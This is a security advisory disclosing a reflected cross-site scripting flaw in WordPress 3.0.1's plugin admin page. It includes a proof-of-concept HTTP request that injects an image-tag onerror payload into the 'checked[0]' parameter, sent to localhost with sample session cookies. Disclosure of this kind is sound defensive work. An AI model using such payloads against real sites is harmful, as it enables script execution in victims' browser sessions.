WordPress 3.0.1 Cross Site Scripting

`[MajorSecurity SA-080]WordPress 3.0.1 - Cross Site Scripting Issue  
  
Details  
=============  
Product: WordPress 3.0.1  
Security-Risk: low  
Remote-Exploit: yes  
Vendor-URL: http://www.wordpress.org/  
Advisory-Status: published  
  
Credits  
=============  
Discovered by: David Vieira-Kurz of MajorSecurity  
  
Original Advisory  
=============  
http://www.majorsecurity.net/wordpress-3-xss.php  
  
Affected Products:  
=============  
WordPress 3.0.1  
Prior versions may also be vulnerable  
  
Description  
=============  
"WordPress is web software you can use to create a beautiful website or  
blog." - from wordpress.org  
  
More Details  
=============  
I have discovered some vulnerabilities in WordPress 3.0.1, which can be  
exploited by malicious people to conduct reflected cross-site scripting  
attacks. Input passed directly to the "checked[0]" parameter in  
"wp-admin/plugins.php" when the "action" parameter is set to  
"delete-selected" is not properly sanitised before being stored and  
returned to the user. This can be exploited to execute arbitrary HTML  
and script code in a user's browser session in context of an affected site.  
  
Proof of Concept  
=============  
GET  
/wordpress/wp-admin/plugins.php?action=delete-selected&checked%5B0%5D=x<img%20src%3da%20onerror%3dalert(1)>yz&plugin_status=all&paged=1&_wpnonce=b58a891de5  
HTTP/1.1  
Host: 127.0.0.1  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)  
Connection: close  
Cookie:  
wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=admin%7C1281711223%7Ce88c76a1b42c7d91f501623fa434b541;  
wordpress_test_cookie=WP+Cookie+check;  
wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=admin%7C1281711223%7C187ec57f486086f5a3cca1ea9a6e7394;  
wp-settings-time-1=1281538642; wp-settings-1=deleted;  
  
Solution  
=============  
Web applications should never trust on user generated input and  
therefore sanatize all input. Edit the source code to ensure that input  
is properly sanitised.  
  
MajorSecurity  
================  
MajorSecurity is a German sourcecode audit and penetration testing  
company which focuses on (web-)application security. We offer  
professional source code audit, penetrationstest and pci dss compliance  
tests. Visit us at http://www.majorsecurity.net/source-code-audit.php  
  
Use of terms  
================  
Unaltered electronic reproduction of this advisory is permitted. For all  
other reproduction or publication, in printing or otherwise, contact us  
for permission. Use of the advisory constitutes acceptance for use in an  
"as is" condition. All warranties are excluded. In no event shall  
MajorSecurity be liable for any damages whatsoever including direct,  
indirect, incidental, consequential, loss of business profits or special  
damages, even if MajorSecurity has been advised of the possibility of  
such damages.  
  
  
`